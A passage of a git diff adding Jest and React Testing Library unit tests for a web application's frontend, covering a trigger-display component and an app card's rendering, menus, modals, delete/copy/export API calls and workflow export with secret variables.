+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
+    })
+
+    it('should use default BlockIcon when plugin has no icon metadata', () => {
+      const metadata = createTriggerMetadata({})
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', '')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Icon Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Icon Rendering', () => {
+    it('should render WindowCursor icon for app-run trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
+      )
+
+      // Check for the blue brand background used for app-run icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-brand-blue-brand-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render Code icon for debugging trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />,
+      )
+
+      // Check for the blue background used for debugging icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render WebhookLine icon for webhook trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />,
+      )
+
+      // Check for the blue background used for webhook icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render Schedule icon for schedule trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />,
+      )
+
+      // Check for the violet background used for schedule icon
+      const iconWrapper = container.querySelector('.bg-util-colors-violet-violet-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render KnowledgeRetrieval icon for rag-pipeline triggers', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />,
+      )
+
+      // Check for the green background used for rag pipeline icon
+      const iconWrapper = container.querySelector('.bg-util-colors-green-green-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle unknown trigger type gracefully', () => {
+      // Test with a type cast to simulate unknown trigger type
+      render(<TriggerByDisplay triggeredFrom={'unknown-type' as WorkflowRunTriggeredFrom} />)
+
+      // Should fallback to default (app-run) icon styling
+      expect(screen.getByText('unknown-type')).toBeInTheDocument()
+    })
+
+    it('should handle undefined triggerMetadata', () => {
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={undefined}
+        />,
+      )
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should handle empty className', () => {
+      const { container } = render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          className=""
+        />,
+      )
+
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'items-center', 'gap-1.5')
+    })
+
+    it('should render correctly when both showText is false and metadata is provided', () => {
+      const metadata = createTriggerMetadata({ event_name: 'Test Event' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+          showText={false}
+        />,
+      )
+
+      // Text should not be visible even with metadata
+      expect(screen.queryByText('Test Event')).not.toBeInTheDocument()
+      expect(screen.queryByText('appLog.triggerBy.plugin')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Theme Switching Tests
+  // --------------------------------------------------------------------------
+  describe('Theme Switching', () => {
+    it('should render correctly in light theme', () => {
+      mockTheme = Theme.light
+
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should render correctly in dark theme', () => {
+      mockTheme = Theme.dark
+
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/app-card.spec.tsx b/web/app/components/apps/app-card.spec.tsx
new file mode 100644
index 0000000000..40aa66075d
--- /dev/null
+++ b/web/app/components/apps/app-card.spec.tsx
@@ -0,0 +1,1059 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { AppModeEnum } from '@/types/app'
+import { AccessMode } from '@/models/access-control'
+
+// Mock next/navigation
+const mockPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+  }),
+}))
+
+// Mock use-context-selector with stable mockNotify reference for tracking calls
+// Include createContext for components that use it (like Toast)
+const mockNotify = jest.fn()
+jest.mock('use-context-selector', () => {
+  const React = require('react')
+  return {
+    createContext: (defaultValue: any) => React.createContext(defaultValue),
+    useContext: () => ({
+      notify: mockNotify,
+    }),
+    useContextSelector: (_context: any, selector: any) => selector({
+      notify: mockNotify,
+    }),
+  }
+})
+
+// Mock app context
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    isCurrentWorkspaceEditor: true,
+  }),
+}))
+
+// Mock provider context
+const mockOnPlanInfoChanged = jest.fn()
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    onPlanInfoChanged: mockOnPlanInfoChanged,
+  }),
+}))
+
+// Mock global public store
+jest.mock('@/context/global-public-context', () => ({
+  useGlobalPublicStore: (selector: (s: any) => any) => selector({
+    systemFeatures: {
+      webapp_auth: { enabled: false },
+      branding: { enabled: false },
+    },
+  }),
+}))
+
+// Mock API services - import for direct manipulation
+import * as appsService from '@/service/apps'
+import * as workflowService from '@/service/workflow'
+
+jest.mock('@/service/apps', () => ({
+  deleteApp: jest.fn(() => Promise.resolve()),
+  updateAppInfo: jest.fn(() => Promise.resolve()),
+  copyApp: jest.fn(() => Promise.resolve({ id: 'new-app-id' })),
+  exportAppConfig: jest.fn(() => Promise.resolve({ data: 'yaml: content' })),
+}))
+
+jest.mock('@/service/workflow', () => ({
+  fetchWorkflowDraft: jest.fn(() => Promise.resolve({ environment_variables: [] })),
+}))
+
+jest.mock('@/service/explore', () => ({
+  fetchInstalledAppList: jest.fn(() => Promise.resolve({ installed_apps: [{ id: 'installed-1' }] })),
+}))
+
+jest.mock('@/service/access-control', () => ({
+  useGetUserCanAccessApp: () => ({
+    data: { result: true },
+    isLoading: false,
+  }),
+}))
+
+// Mock hooks
+jest.mock('@/hooks/use-async-window-open', () => ({
+  useAsyncWindowOpen: () => jest.fn(),
+}))
+
+// Mock utils
+jest.mock('@/utils/app-redirection', () => ({
+  getRedirection: jest.fn(),
+}))
+
+jest.mock('@/utils/var', () => ({
+  basePath: '',
+}))
+
+jest.mock('@/utils/time', () => ({
+  formatTime: () => 'Jan 1, 2024',
+}))
+
+// Mock dynamic imports
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('create-app-modal') || fnString.includes('explore/create-app-modal')) {
+      return function MockEditAppModal({ show, onHide, onConfirm }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'edit-app-modal' },
+          React.createElement('button', { 'onClick': onHide, 'data-testid': 'close-edit-modal' }, 'Close'),
+          React.createElement('button', {
+            'onClick': () => onConfirm?.({
+              name: 'Updated App',
+              icon_type: 'emoji',
+              icon: '🎯',
+              icon_background: '#FFEAD5',
+              description: 'Updated description',
+              use_icon_as_answer_icon: false,
+              max_active_requests: null,
+            }),
+            'data-testid': 'confirm-edit-modal',
+          }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('duplicate-modal')) {
+      return function MockDuplicateAppModal({ show, onHide, onConfirm }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'duplicate-modal' },
+          React.createElement('button', { 'onClick': onHide, 'data-testid': 'close-duplicate-modal' }, 'Close'),
+          React.createElement('button', {
+            'onClick': () => onConfirm?.({
+              name: 'Copied App',
+              icon_type: 'emoji',
+              icon: '📋',
+              icon_background: '#E4FBCC',
+            }),
+            'data-testid': 'confirm-duplicate-modal',
+          }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('switch-app-modal')) {
+      return function MockSwitchAppModal({ show, onClose, onSuccess }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'switch-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-switch-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'confirm-switch-modal' }, 'Switch'),
+        )
+      }
+    }
+    if (fnString.includes('base/confirm')) {
+      return function MockConfirm({ isShow, onCancel, onConfirm }: any) {
+        if (!isShow) return null
+        return React.createElement('div', { 'data-testid': 'confirm-dialog' },
+          React.createElement('button', { 'onClick': onCancel, 'data-testid': 'cancel-confirm' }, 'Cancel'),
+          React.createElement('button', { 'onClick': onConfirm, 'data-testid': 'confirm-confirm' }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('dsl-export-confirm-modal')) {
+      return function MockDSLExportModal({ onClose, onConfirm }: any) {
+        return React.createElement('div', { 'data-testid': 'dsl-export-modal' },
+          React.createElement('button', { 'onClick': () => onClose?.(), 'data-testid': 'close-dsl-export' }, 'Close'),
+          React.createElement('button', { 'onClick': () => onConfirm?.(true), 'data-testid': 'confirm-dsl-export' }, 'Export with secrets'),
+          React.createElement('button', { 'onClick': () => onConfirm?.(false), 'data-testid': 'confirm-dsl-export-no-secrets' }, 'Export without secrets'),
+        )
+      }
+    }
+    if (fnString.includes('app-access-control')) {
+      return function MockAccessControl({ onClose, onConfirm }: any) {
+        return React.createElement('div', { 'data-testid': 'access-control-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-access-control' }, 'Close'),
+          React.createElement('button', { 'onClick': onConfirm, 'data-testid': 'confirm-access-control' }, 'Confirm'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+/**
+ * Mock components that require special handling in test environment.
+ *
+ * Per frontend testing skills (mocking.md), we should NOT mock simple base components.
+ * However, the following require mocking due to:
+ * - Portal-based rendering that doesn't work well in happy-dom
+ * - Deep dependency chains importing ES modules (like ky) incompatible with Jest
+ * - Complex state management that requires controlled test behavior
+ */
+
+// Popover uses portals for positioning which requires mocking in happy-dom environment
+jest.mock('@/app/components/base/popover', () => {
+  const MockPopover = ({ htmlContent, btnElement, btnClassName }: any) => {
+    const [isOpen, setIsOpen] = React.useState(false)
+    // Call btnClassName to cover lines 430-433
+    const computedClassName = typeof btnClassName === 'function' ? btnClassName(isOpen) : ''
+    return React.createElement('div', { 'data-testid': 'custom-popover', 'className': computedClassName },
+      React.createElement('div', {
+        'onClick': () => setIsOpen(!isOpen),
+        'data-testid': 'popover-trigger',
+      }, btnElement),
+      isOpen && React.createElement('div', {
+        'data-testid': 'popover-content',
+        'onMouseLeave': () => setIsOpen(false),
+      },
+      typeof htmlContent === 'function' ? htmlContent({ open: isOpen, onClose: () => setIsOpen(false), onClick: () => setIsOpen(false) }) : htmlContent,
+      ),
+    )
+  }
+  return { __esModule: true, default: MockPopover }
+})
+
+// Tooltip uses portals for positioning - minimal mock preserving popup content as title attribute
+jest.mock('@/app/components/base/tooltip', () => ({
+  __esModule: true,
+  default: ({ children, popupContent }: any) => React.createElement('div', { title: popupContent }, children),
+}))
+
+// TagSelector imports service/tag which depends on ky ES module - mock to avoid Jest ES module issues
+jest.mock('@/app/components/base/tag-management/selector', () => ({
+  __esModule: true,
+  default: ({ tags }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'aria-label': 'tag-selector' },
+      tags?.map((tag: any) => React.createElement('span', { key: tag.id }, tag.name)),
+    )
+  },
+}))
+
+// AppTypeIcon has complex icon mapping logic - mock for focused component testing
+jest.mock('@/app/components/app/type-selector', () => ({
+  AppTypeIcon: () => React.createElement('div', { 'data-testid': 'app-type-icon' }),
+}))
+
+// Import component after mocks
+import AppCard from './app-card'
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Record<string, any> = {}) => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  mode: AppModeEnum.CHAT,
+  icon: '🤖',
+  icon_type: 'emoji' as const,
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  author_name: 'Test Author',
+  created_at: 1704067200,
+  updated_at: 1704153600,
+  tags: [],
+  use_icon_as_answer_icon: false,
+  max_active_requests: null,
+  access_mode: AccessMode.PUBLIC,
+  has_draft_trigger: false,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as any,
+  app_model_config: {} as any,
+  site: {} as any,
+  api_base_url: 'https://api.example.com',
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('AppCard', () => {
+  const mockApp = createMockApp()
+  const mockOnRefresh = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<AppCard app={mockApp} />)
+      // Use title attribute to target specific element
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should display app name', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should display app description', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test app description')).toBeInTheDocument()
+    })
+
+    it('should display author name', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test Author')).toBeInTheDocument()
+    })
+
+    it('should render app icon', () => {
+      // AppIcon component renders the emoji icon from app data
+      const { container } = render(<AppCard app={mockApp} />)
+      // Check that the icon container is rendered (AppIcon renders within the card)
+      const iconElement = container.querySelector('[class*="icon"]') || container.querySelector('img')
+      expect(iconElement || screen.getByText(mockApp.icon)).toBeTruthy()
+    })
+
+    it('should render app type icon', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTestId('app-type-icon')).toBeInTheDocument()
+    })
+
+    it('should display formatted edit time', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByText(/edited/i)).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should handle different app modes', () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle app with tags', () => {
+      const appWithTags = {
+        ...mockApp,
+        tags: [{ id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 }],
+      }
+      render(<AppCard app={appWithTags} />)
+      // Verify the tag selector component renders
+      expect(screen.getByLabelText('tag-selector')).toBeInTheDocument()
+    })
+
+    it('should render with onRefresh callback', () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+  })
+
+  describe('Access Mode Icons', () => {
+    it('should show public icon for public access mode', () => {
+      const publicApp = { ...mockApp, access_mode: AccessMode.PUBLIC }
+      const { container } = render(<AppCard app={publicApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.anyone"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show lock icon for specific groups access mode', () => {
+      const specificApp = { ...mockApp, access_mode: AccessMode.SPECIFIC_GROUPS_MEMBERS }
+      const { container } = render(<AppCard app={specificApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.specific"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show organization icon for organization access mode', () => {
+      const orgApp = { ...mockApp, access_mode: AccessMode.ORGANIZATION }
+      const { container } = render(<AppCard app={orgApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.organization"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show external icon for external access mode', () => {
+      const externalApp = { ...mockApp, access_mode: AccessMode.EXTERNAL_MEMBERS }
+      const { container } = render(<AppCard app={externalApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.external"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+  })
+
+  describe('Card Interaction', () => {
+    it('should handle card click', () => {
+      render(<AppCard app={mockApp} />)
+      const card = screen.getByTitle('Test App').closest('[class*="cursor-pointer"]')
+      expect(card).toBeInTheDocument()
+    })
+
+    it('should call getRedirection on card click', () => {
+      const { getRedirection } = require('@/utils/app-redirection')
+      render(<AppCard app={mockApp} />)
+      const card = screen.getByTitle('Test App').closest('[class*="cursor-pointer"]')!
+      fireEvent.click(card)
+      expect(getRedirection).toHaveBeenCalledWith(true, mockApp, mockPush)
+    })
+  })
+
+  describe('Operations Menu', () => {
+    it('should render operations popover', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTestId('custom-popover')).toBeInTheDocument()
+    })
+
+    it('should show edit option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+    })
+
+    it('should show duplicate option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.duplicate')).toBeInTheDocument()
+      })
+    })
+
+    it('should show export option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.export')).toBeInTheDocument()
+      })
+    })
+
+    it('should show delete option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('common.operation.delete')).toBeInTheDocument()
+      })
+    })
+
+    it('should show switch option for chat mode apps', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText(/switch/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should show switch option for completion mode apps', async () => {
+      const completionApp = { ...mockApp, mode: AppModeEnum.COMPLETION }
+      render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText(/switch/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should not show switch option for workflow mode apps', async () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.queryByText(/switch/i)).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Modal Interactions', () => {
+    it('should open edit modal when edit button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const editButton = screen.getByText('app.editApp')
+        fireEvent.click(editButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should open duplicate modal when duplicate button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const duplicateButton = screen.getByText('app.duplicate')
+        fireEvent.click(duplicateButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should open confirm dialog when delete button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const deleteButton = screen.getByText('common.operation.delete')
+        fireEvent.click(deleteButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+    })
+
+    it('should close confirm dialog when cancel is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const deleteButton = screen.getByText('common.operation.delete')
+        fireEvent.click(deleteButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('cancel-confirm'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('confirm-dialog')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct card container styling', () => {
+      const { container } = render(<AppCard app={mockApp} />)
+      const card = container.querySelector('[class*="h-[160px]"]')
+      expect(card).toBeInTheDocument()
+    })
+
+    it('should have rounded corners', () => {
+      const { container } = render(<AppCard app={mockApp} />)
+      const card = container.querySelector('[class*="rounded-xl"]')
+      expect(card).toBeInTheDocument()
+    })
+  })
+
+  describe('API Callbacks', () => {
+    it('should call deleteApp API when confirming delete', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      // Open popover and click delete
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      // Confirm delete
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(appsService.deleteApp).toHaveBeenCalled()
+      })
+    })
+
+    it('should call onRefresh after successful delete', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle delete failure', async () => {
+      (appsService.deleteApp as jest.Mock).mockRejectedValueOnce(new Error('Delete failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(appsService.deleteApp).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: expect.stringContaining('Delete failed') })
+      })
+    })
+
+    it('should call updateAppInfo API when editing app', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(appsService.updateAppInfo).toHaveBeenCalled()
+      })
+    })
+
+    it('should call copyApp API when duplicating app', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(appsService.copyApp).toHaveBeenCalled()
+      })
+    })
+
+    it('should call onPlanInfoChanged after successful duplication', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle copy failure', async () => {
+      (appsService.copyApp as jest.Mock).mockRejectedValueOnce(new Error('Copy failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(appsService.copyApp).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.newApp.appCreateFailed' })
+      })
+    })
+
+    it('should call exportAppConfig API when exporting', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(appsService.exportAppConfig).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle export failure', async () => {
+      (appsService.exportAppConfig as jest.Mock).mockRejectedValueOnce(new Error('Export failed'))
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(appsService.exportAppConfig).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.exportFailed' })
+      })
+    })
+  })
+
+  describe('Switch Modal', () => {
+    it('should open switch modal when switch button is clicked', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should close switch modal when close button is clicked', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('close-switch-modal'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('switch-modal')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should call onRefresh after successful switch', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-switch-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should open switch modal for completion mode apps', async () => {
+      const completionApp = { ...mockApp, mode: AppModeEnum.COMPLETION }
+      render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Open in Explore', () => {
+    it('should show open in explore option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.openInExplore')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Workflow Export with Environment Variables', () => {
+    it('should check for secret environment variables in workflow apps', async () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+      })
+    })
+
+    it('should show DSL export modal when workflow has secret variables', async () => {
+      (workflowService.fetchWorkflowDraft as jest.Mock).mockResolvedValueOnce({
+        environment_variables: [{ value_type: 'secret', name: 'API_KEY' }],
+      })
+
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
